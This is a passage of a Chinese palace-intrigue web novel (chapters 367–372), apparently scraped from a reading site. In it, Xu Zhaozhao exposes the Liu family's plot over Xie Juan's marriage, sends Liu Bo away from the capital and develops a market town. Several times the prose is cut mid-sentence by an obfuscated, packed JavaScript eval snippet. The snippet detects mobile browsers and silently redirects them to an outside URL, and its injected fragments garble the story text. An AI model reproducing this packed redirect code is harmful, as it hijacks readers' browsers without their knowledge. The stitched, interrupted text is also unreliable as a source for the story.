“找人盯着刘勃,至于姜孺人的那个大丫环,下次找人跟着,有机会就直接弄晕带走,我要亲自问话。” “是,主子。” 事情已经很明显了。 让刘勃求娶谢娟,就是姜宁联合刘勃给谢家下的套。 偏小宋氏这等没脑子的人就能信。 姜宁没能生下儿子,但是在辅佐忠王,极力打压安王这件事情上,仍然是不遗余力。 很显然,上辈子的仇,她是一定要报的。 但是安王势大,况且如今姜宁只是一个小妾,手上的权利没有原著中那么多,姜家对她的支持也并非是全心全力,所以姜宁才会想到了拉拢刘勃,从而为自己卖命。 想的真美呀! 自古以来,权利的争斗,就是男多女少,而胜者,无论男女,无一不是心狠手辣之辈! 姜宁显然具备了这样的条件,但是可惜,她的底气太差,脑子不够用,许昭昭又才联合崔家搞了姜延平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478022|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一波,所以,姜家现在能提供给姜宁的助力着实不多。 “你去好好打探一下刘家人的口风,尤其是刘夫人的。” “是,主子。” 许昭昭冷冷地笑了。 姜宁想要跟她过招,可惜呀,若是几年前,她们兴许还能在一张桌上过过手,可是如今,许昭昭是能直接上桌和忠王妃这样的人吃饭的身份了,又怎么可能会亲自下场跟一个小妾较劲? 没得再拉低了自己的身份! 两日后,许昭昭命人将刘玉霜请到锦绣园说话。 按说,许昭昭嫁的是谢铮,刘玉霜是她的堂嫂,身为弟妹,她应该亲自登门的,但许昭昭偏不。 既然知道刘玉霜是什么性子,那就索性将她这性子利用到底。 况且,妯娌之间,她是以赏花的名义将人请来的,自然也无惧流言。 刘玉霜来锦绣园的次数不多。 这次再过来,总觉得锦绣园的变化又大了。 这满院的花香翠绿,总觉得跟她印象中的锦绣园大相径庭。 “三弟妹找我过来,是想着赏什么花?” 许昭昭笑着将人请到了二楼,然后摒退左右。 厅室里只摆了一盆牡丹,开得正艳。 刘玉霜一进来,便被这株牡丹给吸引过去,一时间并未能察觉到许昭昭身上气势的变化。 “二嫂觉得此花如何?” 刘玉霜的注意力还在这盆牡丹上,“此花甚美!” 话落,她才意识到不对,再抬头,正对上了许昭昭冰冷的眼神。 刘玉霜心里咯噔一下子。 她本就自卑,再加上自己其实还有几分心虚,所以不由得便心慌了。 “三弟妹何故如此看我?” “二嫂这话倒有趣了。你都想着让你弟弟娶咱们七小姐回去当摆设了,我还不能瞪你两眼?” 刘玉霜只觉得心口突然一下子就被人揪住,那种呼吸不上来的疼,一下子就令她额上冷汗开冒。 “弟妹何出此言?我刘家是真心求娶七姑娘的,我母亲都亲自登门了,岂能有假?” 第367章 不可堕了我谢家的名声 “二嫂还是先看看这些吧。如果看完了你还能硬着嘴说是真心求娶七姑娘,我便佩服你们刘家的家风!” 刘玉霜不知道她到底是什么意思,还是先捺着性子看甩出来的这些东西。 没等看完,刘玉霜这脸色就变了。 “世子夫人?” 这会儿也不叫弟妹了,换了尊称。 许昭昭嘴角微勾:“怎么?现在不说是你们刘家真心求娶了?” “一切都是我那个不成器的弟弟之过,还请世子夫人高抬贵手。” “现在说这话,不觉得晚了?” 刘玉霜心里咯噔一下子,人已经站不住了,一手扶住高几,一手紧紧地攥着帕子,脸色苍白道:“世子夫人当真不肯给刘家几分薄面?再怎么说,我们也是一家人。” 许昭昭连个正眼都没给她。 “是不是一家人,可不仅仅只靠血缘关系就能说了算的。这件事,你还不配跟我谈,回去吧。” 不怪许昭昭盛气凌人。 实在是刘家人做的这事太恶心了! 刘玉霜人还没回到自己屋里呢,便站不住了,直接被两个婆子给搀回去的。 小宋氏也听到一些风声,只知道许昭昭不答应两家的婚事,好像还羞辱了刘玉霜,这下她坐不住了。 谢啸林从外面回来,刚换了身衣裳,小厮就说宋姨娘过来求见,而且言词间似乎是有很重要的事。 谢啸林虽然不管家,但是对自己身边人还是很温和的。 “让她进来吧。” 小宋氏一脸憔悴,一进门便跪下抹泪。 “还请国公爷能为咱们七姑娘做主呀!婢妾知道自己只是一个小妾,但七姑娘也是您的亲生骨肉,如今亲事被世子夫人拿捏在手,我们七姑娘都要没有活路了呀。” 谢啸林皱眉,浸淫军营多年,自然不是那等偏听偏信之人。 “仔细说说,到底怎么回事?” “老爷,前几日刘夫人亲自登门来商议七姑娘和刘公子的婚事,没想到世子夫人不应,今日更是对二少夫人出言羞辱,还请老爷做主呀!” 谢啸林更不信了。 这个儿媳妇是什么人,什么性子,他不敢说多了解,但绝对不会做出这等没品之事。 “来人,去将世子夫人请来。” “是,老爷。” 小宋氏还跪在地上,哭得好不可怜。 谢啸林想到之前她在冀州服侍自己,心软道:“起来吧,坐在一旁说话。” “谢老爷。” 许昭昭就知道小宋氏不老实,正好借这个机会,好好打压一下小宋氏的气焰。 别以为她是良妾,便能在国公爷的后院儿里作威作福了。 妾,就要有妾的样子。 良妾也是妾,妄想端正房夫人的架子,也得看她配不配! 许昭昭听了谢啸林的问话之后,什么也没说,直接递过去几张纸。 这上面,还有那个大丫环的手印。 “这是真的?” “回父亲,事关妹妹的婚姻大事,也是关乎到咱们国公府的名声,儿媳不敢大意,自然要将事情都一一查实。” 谢啸林点头,当初给小六说亲的时候,这个儿媳妇也是安排人把郑拓给查了个底儿掉。 所以,对于她的本事,谢啸林是知道的。 而且,身为嫂嫂,仔细调查未来亲家的事,这也再合理不过。 “这个刘勃,简直欺人太甚!这是觉得我护国公府无人不成!我定要找刘锦鹏那个老匹夫要个说法!” 小宋氏吓得一激灵,这怎么听着话风不对呀! 许昭昭温声劝道:“父亲不必动怒。此事二位刘大人未必知情。既是只在内院妇人口中透出,那此事还是当由内眷来解决。父亲和夫君都是武将,都是要为国效力的重臣,岂能因为这些小事与朝臣起了龌龊?若是父亲放心,此事便交由儿媳来处理吧。” 谢啸林经她一劝,此时也冷静了三分。 这上面所言,的确是未曾提到刘氏父子,但是提到了这个刘勃。 若是他因此去问责刘锦鹏,的确是不合适。 但若是由内眷出面解决,谢、刘两家的关系便还能维系表面上的和谐。 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478023|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,交给许昭昭去处理是最好的选择。 “也罢,此事就由你去处置,切记,无论刘家到底是什么人,有什么底气,都不可堕了我谢家的名声。” “儿媳遵命。” 刘锦鹏之前曾任吏部尚书,但是后来犯错,牵连进庆王一案中,所以被贬。 如今身上只担着闲职,听起来品级不低,但问题是没有实权。 当初刘锦鹏还是吏部尚书时,刘玉霜嫁过来都算是高嫁了,后来她祖父被贬,刘玉霜就愈发地自卑,总觉得自己在国公府里抬不起头似的。 实际上,并没有哪一个人在纠结其身份,更不会有人拿她娘家人的差事说话。 但刘玉霜自己是个死脑筋,那别人就没办法了。 小宋氏不知道谢啸林看到了什么,但是听刚刚这一番对话,便知道是刘家惹着谢家了。 所以,如果这个时候她再上赶着去求这门亲事,那就是作死! 许昭昭离开后,小宋氏一路小跑着去追她,却被许昭昭示意下人给拦住了。 跟这个小宋氏,她还真是说不着。 “去将七姑娘请过来。” “是,世子夫人。” 谢娟来之前,已经听说了这位嫂嫂并不赞成刘谢两家的婚事,甚至还听说二嫂因此而病倒了。 谢娟想不明白,刘家的家世不错,甚至是比郑拓还要更好,为何这位三嫂却不同意呢? 等她看到那些口供之后,整个人都傻眼了。 “嫂嫂,这,这是真的?” 许昭昭只看她这反应,就知道她还是存有一丝侥幸心理。 “你以为呢?刘勃心仪姜宁,此事原本就不是什么秘密。如今姜宁早已嫁为人妇,但私下仍与刘勃来往,就凭着这一点,你可知刘家就是犯了大罪?” 谢娟心底咯噔一下子,姜宁是忠王的小妾呀。 刘勃私下与其来往,的确是有折辱皇族之嫌。 “嫂嫂,我与刘公子也见过数面,他谦谦君子,怎么可能会做出这等事?况且他先前一年不在京中,许是他回来后,与这位姜孺人叙旧也说不定呢!” 第368章 你不会真的这么蠢吧? 许昭昭都要被气笑了! 这得是多没脑子的人才能说出来的话? 就这种猜测,许昭昭觉得自己脑子里但凡是有一点点这个风向,她都得怀疑自己脑子出问题了。 可偏偏,现实中就有人真这么想,而且还赤裸裸地问出来了。 这是得多想嫁给刘勃呀! 许昭昭自己都不知道应该要劝她,还是应该骂她了。 这要是换成自己的亲妹妹或者是自己的孩子,估计许昭昭能直接大嘴巴抽过去,好让对方醒醒脑子。 “谢娟,你不会真的这么蠢吧?” 这话一问出来,谢娟的脸色就变了。 她不傻,知道自己刚刚的话其实是有些可笑的。 可是现在被嫂嫂这样直白地说出来,她就有一种被人轻视,甚至是鄙夷的感觉了。 “来人,送七小姐回去,传令下去,七小姐身子不适,先在屋里好好养病,任何人不得打扰,包括宋姨娘。” “是,世子夫人。” 谢娟脸色大变:“嫂嫂,我知道错了,这不怪宋姨娘!” 许昭昭挑眉,一脸玩味道:“我说什么了?七妹妹是不是误会什么了?” 谢娟一时语塞。 是呀,刚刚嫂嫂好像并没有提及是宋姨娘的错,只是不许去探视她而已。 不待谢娟想出什么说辞来自己和宋姨娘开脱,许昭昭就已经拂袖而去。 谢娟有一种感觉,如果她再继续这样下去,一定会被嫂嫂抛弃的。 她只觉得心头沉闷,好似是错失了天大的机缘一般。 谢娟一时间神思不属,总担心嫂嫂对自己不满,从而再对自己的婚事上动手脚。 谢娟是个心思小的人,原本就因为庶出的身份而自卑,如今再经由此事一闹,更觉得自己不够聪明,不得嫂嫂欢喜,竟是郁结于心,真地病倒了。 许昭昭听闻此事后,倒也没有多说什么,只是派人请大夫给看了,之后又让谢婵去陪她说说话。 林嬷嬷小心翼翼提醒道:“世子夫人可要去探望七小姐?” “不去了。如今正是忙得不可开交,也实在是没有那个心思。况且她如今自己胡思乱想病倒了,我去看她,除非是能给她吃一颗定心丸,否则去了还不如不去。” 林嬷嬷听罢后微微一愣,随即也想明白了。 若是世子夫人能肯定地告诉她,日后她仍然有一门好姻缘,那七小姐自然不会再胡思乱想。 可问题是,这种事情,谁能说得准呢? 况且现在谢刘两家的事,还没有正式给个说法呢,世子夫人也实在是顾不上七小姐了。 刘玉霜病倒的消息送到刘家,刘夫人自然是要来探望的。 许昭昭等的就是这个时候。 刘夫人虽然心中有怨,但也不得不起身行礼。 她虽是长辈,但她听闻许昭昭并不同意这门婚事,再加上如今她公爹也不再是吏部尚书了,所以只得起身行礼。 “给世子夫人请安。” 刘夫人没有提及县主二字。 因为县主的品级比子爵还要高,若是称呼安乐县主,刘夫人更觉得自己站在这里尴尬了。 “刘夫人免礼吧,按说咱们也算是亲戚,不必如此外道。二嫂嫂病倒,刘夫人心中担忧才过来探望,说来也是我这个做弟妹的照顾不周,有些事早该差人去通知刘夫人一声,若是如此,想必二嫂嫂也就不会病倒了。” 这是话里有话呀! 许昭昭一个眼神送过来,刘夫人立马意识到什么,再示意自己身边的人都退出去。 刘玉霜哪怕是在床上,此时也知道有些话不能传出去,否则刘家的脸面就全都没了。 许昭昭身边的芍药还在,这件事本来就是她过的手,自然没必要避开。 “刘夫人还是先看看这些吧。这些东西我若是往府衙一交,哦,或者是送到皇室宗正那里应该也是一样的。只是不知道,到时候你们家的珍宝是否能安然无事呀。” 刘夫人心头一颤,万万没想到,能让许昭昭拿到了这么紧要的证据。 刘夫人有心将这些撕毁,但她也知道许昭昭敢让她看,必然是早做了准备的,自己就算是撕了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于氏见她如今脑子已经正常了,便略有几分为难道:“如今这国公府虽是我管着中馈,可是说句实话,那是因为我侄媳妇没有这个时间和心思管,所以才不愿意接手的。要说我这侄媳妇,本事大,心思细,最关键的是她聪明呀!” 一提许昭昭,刘夫人这脸上肉眼可见地便多出几分畏惧来。 于氏看在眼里,心中不屑,果然是做了亏心事,不然何必如此心虚? 第369章 许昭昭的条件 许昭昭可以甩脸摆架子,那是因为她有足够的底气! 就算她不是安乐县主,可还有一重世子夫人的身份,而且还是侯府千金,这无论是哪一层身份,都不是刘家惹得起的。 但于氏是刘玉霜的婆母,现在站出来,就是为了不让两家的关系彻底崩坏,毕竟还得做亲戚呢。 刘夫人拿着那几纸口供回到刘家,第一时间就想着把儿子院里的几个下人给处置了。 但是又觉得不对。 “许昭昭敢把这些东西给我,便料定了我会这么做。若我真处置了这些下人,会不会再落入她的圈套?” 这么大的事,尤其是许昭昭临走前扔下的那句话,把刘夫人吓得半条命都没了。 所以,她赶紧命人催着将老爷叫回来,事情太大了,她一个人可做不了主了。 许昭昭和谢啸林的猜测没错。 这件事,刘锦鹏和刘安庆父子俩的确是都毫不知情。 现在猛然看到这些,刘安庆一时间气得头晕目眩,恨不能直接打死那个孽子! “混帐东西!这等事情他也能做得出来?还敢去算计国公府的小姐,他怎么不直接挖个坑把自己给埋了!” 刘安庆大怒之下,气冲冲地赶到刘勃院中,二话不说,挥剑便砍。 刘勃也是被吓懵了,但还是知道躲。 等到刘夫人赶来时,整个院子都是一片狼藉。 刘安庆虽然不曾砍到刘勃,但刘勃自己摔了几跤,又碰到墙角两次,这会儿浑身都疼。 “老爷息怒呀!” “息什么息?这么大的事,我息得了吗?如果谢国公真地闹到御前,你可知道我们刘家阖家都得被砍脑袋!” 一席话,将刘夫人给吓得面色苍白,再不敢劝一句了。 最终,刘勃还是没有被砍到,因为老爷子出马了。 刘锦鹏也知道了事情的始末,对于这个孙子,自然是无比失望。 “我原本以为你只是年少慕艾,所以才打发你离京好好游学,增长见识。如今你身边也算是有美娇娘陪伴,我只以为你歇了对姜宁的心思,没想到呀,你竟还是个痴情种!” 最后一句,任谁也能听出来这是压下了多少怒气的讽刺! 刘勃被吓得头都不敢抬,整个人都麻了。 他没想过,如此隐秘之事,为何许昭昭会知道。 “来人,拉下去,杖三十。” 老爷子亲自发话了,谁敢不听? 刘夫人想要求个情,但是对上老爷子那犀利又冷漠的眼神,一时间被吓住,不敢挪动身子半分。 刘安庆也没想到儿子竟然会变成这样。 他一直以为,儿子可以纨绔,也可以文不成武不就,但是从来没想到过,他能给家里惹来如此大祸呀! 过了好半天,刘夫人才想起那些口供的事。 “父亲,那些下人可要处置了?” 刘锦鹏冷哼:“口供他们都拿到了,还怕你处置几个下人?此事就算是哪天揭开了,我们不承认,许昭昭也定然有法子将这些都甩到勃儿头上。而且若是这几个下人都出事,不正好就应了我们刘家**灭口的事实?” 刘夫人一时双目无神,嘴唇嗫动两下后,最终还是没能再说一句话。 刘勃挨打,只是明面儿上要给谢啸林一个交待,毕竟他们要算计的是谢啸林的女儿。 谢啸林总共就一子二女,庶女又如何? 那也是国公爷的闺女! “你命人备上厚礼,分成两份儿,一份给国公府送去,还有一份则是单独给谢家七小姐的,就说是勃儿的赔礼。” 刘安庆也像是霜打的茄子一样没了精神,后背都有些弯了。 “父亲,这样能行吗?” “不能行又怎么办?只能先去试试国公爷的态度。我亲自去!另外,给谢七小姐的那份礼,让你媳妇亲自送过去,送到世子夫人跟前,态度一定要好。” 到这一步,刘夫人也不敢拿乔。 毕竟做错事的是她儿子,而且一旦处置不慎,极有可能会牵连整个刘家。 许昭昭先前随意扔下的一句话,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482641|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以让皇亲宗室们去置疑忠王府一个庶女的血脉,这是妥妥杀头灭族的大罪呀! 若许昭昭只是空口无凭,此事刘家还有转还的余地。 可偏偏许昭昭手上有这些实证,一旦被大理寺或者是刑部采用,那姜宁所出之女,无论是不是忠王的亲生女儿,这一辈子都完了。 刘家,自然也要跟着完了。 所以,不能大意! 刘夫人这次来,姿态放得很低。 许昭昭手上的证据,并没有拿给于氏看,但让于氏知道了事情的大概始末,只是未提刘勃和姜宁私下往来一事。 但于氏多聪明的人呐,就算是不提,她还猜不出来? 要不然,刘勃何故来算计谢家女? 许昭昭看着面前诚惶诚恐的刘夫人,唇角微勾,只要手里有对方的把柄,便是真地有权有势又如何? “刘夫人,此事我这里可以作罢。但是我谢家的姑娘,不是那么好算计的。” “是,世子夫人说的是,都是我教子不严,一切都是我的过错,还请世子夫人高抬贵手,宽恕一二。” “听闻刘勃曾出京游学一载,只是可惜呀,没有半分长进。要我说,还是夫人太宠溺他了。听闻豫州不错,不仅有远近闻名的书院,而且还有大儒名士授课。” 闻弦而知雅意。 刘夫人心中再不甘,只此也只得好声好气地应下。 来之前,公爹亲口嘱咐,无论许昭昭提出什么样的条件,都得应下,绝不能有半个不字! “是,世子夫人博闻多学,远在豫州的书院,竟然也有所耳闻。不出三日,我必让那孽子坐上去豫州的马车。” “刘夫人做事果然爽快又果决。豫州有名士名家,且那里山水宜人,相信不出三年,刘公子定然能学问有成。” 刘夫人含泪带笑:“是,就让他在那里读书三年,好生求学。” 许昭昭对这个结果还算是满意,看过礼单之后,只是吩咐林嬷嬷将这些东西都给七姑娘送去,只这一句,便代表着她的怒气,消了! 第370章 王若兰的担忧 经此一事,刘夫人恨上了许昭昭,但她更恨姜宁! 若非是姜宁这个**暗中勾引刘勃,又怎么会让许昭昭拿到了把柄? 说到底,还是姜宁这个不知羞耻,四处发骚的贱女人惹的祸! 许昭昭对于刘夫人的心思,自然是手拿把掐。 她将人心看得太通透了。 将刘勃害得不能归京的人是她,但刘家不敢得罪她,自然就会将怒火瞄准姜宁。 姜宁虽然背景不俗,但相比于许昭昭而言,还是差了一层。 所以,刘夫人咽不下这口气,自然就要想办法去对付姜宁。 刘夫人好歹也是官眷,想要搭上忠王妃赵月的线,还是安王妃的线,自然都不难。 而且,刘安庆是御史大夫,也是很多文武官员不敢招惹的存在,别看品级不高,但是实权在握,而且是属于奉旨怼人、参人的那一种。 所以,刘安庆也是各方势力想要拉拢的存在。 但是现在因为这么一出,刘安庆和姜家的关系也迅速降至冰点,至于忠王一系? 呵呵,刘安庆恨不能躲得远远的,一辈子不跟忠王府的人打交道。 不得不说,许昭昭这一手是真狠呀! 谢啸林得知刘勃已经离京,并且承诺三年内不会回来后,便对这个儿媳妇满意到了极点。 真不错! 有这么一个贤内助,日后自己儿子的前程定然也无忧。 内宅清清了,男人们在战场上杀敌才能更专注。 就算是不上战场了,这朝堂上的刀风剑雨也少不了,甚至比战场上还要残忍,尤其是那些满口仁义道德的文官,个个都是**不见血的高手呀! 此事揭过,许昭昭也命人给刘玉霜那里送了些补品,之后就启程去蓝田县了。 这一次,是王若兰与她同行。 张氏在家掌事,同时还要照顾大着肚子的安和县主。 王若兰见到一个镇子就要起来了,不由得惊叹道:“果然是有钱好办事呀!你从大兴银号贷钱一百万贯的事,都传遍京城了。如今也算是看到成果了,不错。” “说来也是凑巧。其实我手上没有那么多的现钱,所以是将这里规划了几期,慢慢建成的。但是正好赶上了,总要给顾大人一个面子。如今这镇子上已经有了东西向、南北向两条主要街道,余下的一些小巷小街,便由底下的一些小富之家们去弄,银钱不能都让我一个人赚了。” 王若兰闻言大笑:“你说话是越来越像你父亲了。” 许昭昭也跟着笑起来:“本来就是嘛。大家都能赚到银钱,这里才能越来越好。若是银钱都进了我一个人的口袋,那别人还怎么过?” 现在进行的是二期、三期工程,因为银钱凑手了,所以是两期同时进行。 现在已经有部分商铺开始做生意了。 尤其是因为这里有着蓝田县最大的酿酒坊,还有蓝田县最大的织坊,所以就会引来不少的商人们过来进货。 再加上这里原本就算是交通要道,南来北往的商户本就不少,所以自然而然地,这里便有了人气。 如今镇子上已经开了三家客栈、两家酒楼、两家茶楼等等,另外的酒坊和织坊的办事处也都正式挂牌开张了。 除此之外,还有好几家的玉饰铺子。 蓝田县产玉,原本就有几处矿山,如今许昭昭的山中也发现了玉矿,所以这里有玉饰铺子才是正常的。 “母亲请看,那里便是我预留出来给官府提供的公廨,届时可以负责镇子上的治安,另外收税也都在一起,我无偿提供给衙门,这也算是大功一件吧?” 王若兰点点她的额头,没说话。 至于镇子上的住宅,已经建好的宅院都卖出去了,正在建的宅子,也已经卖出去大半儿,还有的空地,要等到秋天才能开工建造。 “昭昭,这么大的一片地方,朝廷那里可有过问?” “母亲放心,这里原本就是一处荒地,后来我出钱买下来的,咱们大兴重农,我不傻,总不能毁了良田来盖屋子。” “那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489531|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” 王若兰就怕女儿赚钱再给赚疯了,什么钱都想要。 知道她还保有理智,也知道底限在何处,便不再多问。 “母亲,这里三间商铺是挨着的,地方也不小,而且都带后院,届时管事或者是掌柜的都可以直接住在这里。这是我特意留给母亲的。” 王若兰却笑着摇头:“我不要。知道你孝顺,但是我不缺这些铺面,而且你现在每个月往侯府送的那些酒、茶、果子等等,都是不小的开支,没必要再给我留这个。” “母亲何必与我见外?” “不是与你见外。是真没必要。我还想着等你三位哥哥家都有了孩子后,把自己手上的产业分出去一部分呢,年纪大了,不想再管事,就想好好歇歇,享享福。” 既然如此,那许昭昭就知道应该怎么办了。 “行吧,那我知道了,母亲放心,不会再让您累着了。” 王若兰看一眼她:“你不会是想着把这三间商铺给你三位哥哥吧?” “有何不可?” 王若兰脸上的笑容淡下来。 “昭昭,你有本事,手上不缺银钱,这是好事,至少能让你过得好,不必看人脸色。但是钱也不是这么花用的,而且骨肉亲情,也不该是如此维系。” 许昭昭沉默了。 母亲讲的这些,其实她都懂。 母亲这是担心自己总给三位兄长好处,再让三位兄长对她这里有了依赖,或者是把习惯当自然了,日后若是自己不愿给了,他们再对自己不满。 但她觉得,三位兄长不是这种人。 而且三位嫂嫂也不是那种见钱眼开的性子。 “母亲,我知道您的意思,我也懂。放心吧,我不仅仅只是因为他们是我的兄长,这些铺面我给他们,三位嫂嫂自然会想法子派人将这里经营起来。这里热闹了,我后面的铺子就更好卖。我也不瞒您,这里的成本我早就收回来了,而且还大赚一笔。” 王若兰听得目瞪口呆:“这么快就收回成本了?” 第371章 集市 许昭昭简单地将自己开发这里的一些操作流程说了。 其实这也是许昭昭钻了朝廷的空子。 主要是朝廷可没有做房地产的经验。 虽然大兴的基建很不错,但是真正像她这样运作的,可以说是头一回,怕是户部那边的人,也是听都没听说过的。 毕竟以前由朝廷监管的基础建设,都是在官宅、公廨等为主。 而京城的那些宅子,原本就有前朝时遗留下来的,再加上也是慢慢扩起来的,好多都是人们自己买下一块空地,然后自己建房子。 谁能想到,许昭昭会直接弄一大块的地皮,然后自己盖好宅院,再往外卖呢? 许昭昭现在都不敢说她到底是赚了几倍的利润,就怕别人嫉妒心发作起来,再来暗杀她。 她还是很惜命的。 虽然现在不能盖那种高楼,但是哪怕只盖**房的院子,这利润已经足够大。 当然,最主要的是,这里的地理位置好,而且离着云栖山庄也近,日后她还打算在这里发展一下旅游业呢,不过不能急,估计得是几年以后的事儿了。 现在光是美酒和便宜的各种布料,就已经很吸引那些商户们了。 “母亲,我带你去那边瞧瞧,我命人建了一座长亭,可以让一些普通老百姓在里面摆摊,这样就不怕雨雪天气了,而且到时候这些摊位租出去,也便宜得很。” “地方倒是不错,你的心思也是好的。只是这里真能有那些小商贩们过来吗?” 王若兰总觉得不靠谱。 总感觉这地方前不着村后不着店儿的。 毕竟是从荒地开发出来的,周围的确是有些荒芜。 许昭昭其实已经安排了一部分人住到镇子上,就是负责这里一些产业的管事们的家眷,有的还说服了自己的亲戚朋友也都搬过来。 当然,镇子上的宅院不便宜,并不是所有人都买得起,所以他们可以租。 而且月钱也不高,最主要的是,来了这里之后,许昭昭承诺可以给他们寻一份活计。 如此一来,自然就会有人闻风而至。 乐阳郡主也在这里开了药铺,目前这镇子上就只有她手下开的一家药铺,有两位坐堂大夫,还不错。 许昭昭多精明一人呀,知道这镇子早晚是能红火起来的,自然也要去讨好一下她在这个世界最大的金大腿-皇帝陛下! 但是陛下坐拥四海,又怎么会真地在乎这几间商铺? 送礼也是门学问呢。 若是送得不对了,那就是给自己找不痛快。 许昭昭深知陛下胸有壮志,知道他想要什么,自然就会送到心坎上。 比如说此次的柜坊改制,就是送到永安皇帝的心坎上了。 国库缺钱呀! 这大兴银号一旦办起来,先不说赚到多少,至少这里面会有大笔的存银,朝廷若是真地有急事了,关键时刻也是可以调来应急的。 若是管理得当,利用得当,陛下甚至还能清楚地知道手底下的臣子、豪商们到底有多少家底。 许昭昭这次给陛下准备的礼物,就不会是死物。 “这一条长亭,可同时容纳左右两户摆摊,粗略估计,可以出至少三十个铺位,但不一定会是三十户,有的人兴许会直接占用两个摊位。但不管是几个,这里的摊位费,我都会交到市署来收。” 王若兰微微一愣:“那你这长亭不是白建了?” 自己出了工钱、材料,结果一转头,建好之后就白送给市署了? 许昭昭笑笑,一条长亭而已,其实花用不了多少钱。 而且这摊位费收的也不多,一个摊位费,一个月只收五文钱,也就是说,三十个铺位,一个月下来也就是一百五十文,的确是有点儿少。 许昭昭自己看不上这么一丁点的银钱,市署那里,兴许也看不上。 但是这不重要。 重要的是,利用这些低价位的摊位费,可以引来大批的人流呀。 等到人多了,商贩多了,那么税收还能少了? 不仅如此,许昭昭既然是摆明了要抱永安帝的大腿,当然也不可能就只是弄这么一条长亭就算了。 诚意,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489532|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要有的。 只不过,现在不方便说。 事密则成,就算是自己的亲生母亲,她现在也得藏着点儿。 如今在这个云栖小镇上,她的质库已经开了,虽然生意还不怎么样,但是她不急,不出两个月,这质库的生意必然会好起来。 先开起来,占了地方,这么点一个小镇,质库最多有两家就足够了。 而且,质库嘛,赚的就是生意人的钱。 只要来往的商贩多,她就不怕没钱赚。 “我已经同县令那里都商议妥当了,日后每逢三、八这两日,此处便会有集市,头两个月,为了能将这里办起来,我会安排人在前面的那处楼里演杂耍之类的,母亲若是有兴趣,到时咱们一起来看看。” 集市的事情虽然谈妥了,但是目前这里驻扎的商户还有些少,所以不能急,集市想要正式建起来,而且日后越来越兴盛,就得再耐心地等等。 主要的路段,严树盯着基本上都修好了。 无论是到县城的,还是再通往外县的几条主路,很快就要竣工。 届时这里才是真正的四通八达。 要想富,先修路! 这句话,放在任何时代都成立。 当然,许昭昭的修路,可不像是以前那些穿越文里所说的什么水泥路,就只是普通的土路,直接由人工打夯实了,重要的一些路段,可以上面铺上石块,其它的地段,只要是平整即可。 许昭昭现在可不敢把水泥弄出来。 太吓人了。 真要是弄出来,估计她就会被人关进暗无天日的黑牢里了。 古人的智慧,可不是只有诗词歌赋而已。 有些东西可以弄出来,但是要找出合理的出处。 比如说当初的玉米,那是许昭昭的的确确从花草市上买回来的幼苗。 这事情能查出根源来,所以许昭昭不怕,可以利用自己的能力再慢慢地将这东西给推出来,光明正大地把功劳推到自己的三哥身上。 可是这水泥? 呵呵,这得好好想想辙才行。 第372章 添妆 乐阳郡主家的药铺生意不错,因为这里原本就是离着官道近,再加上引来了诸多的商贩们,自然也有一些药材商人从此经过,然后再大量地采买这里的药材。 开在这里的药铺,如果只凭着本地人来买药,估计能亏死。 主要是这年月,药材太贵,很多老百姓病了就只是喝热水,或者是自己弄些草药熬一熬,没人会愿意去医馆或者是药铺的。 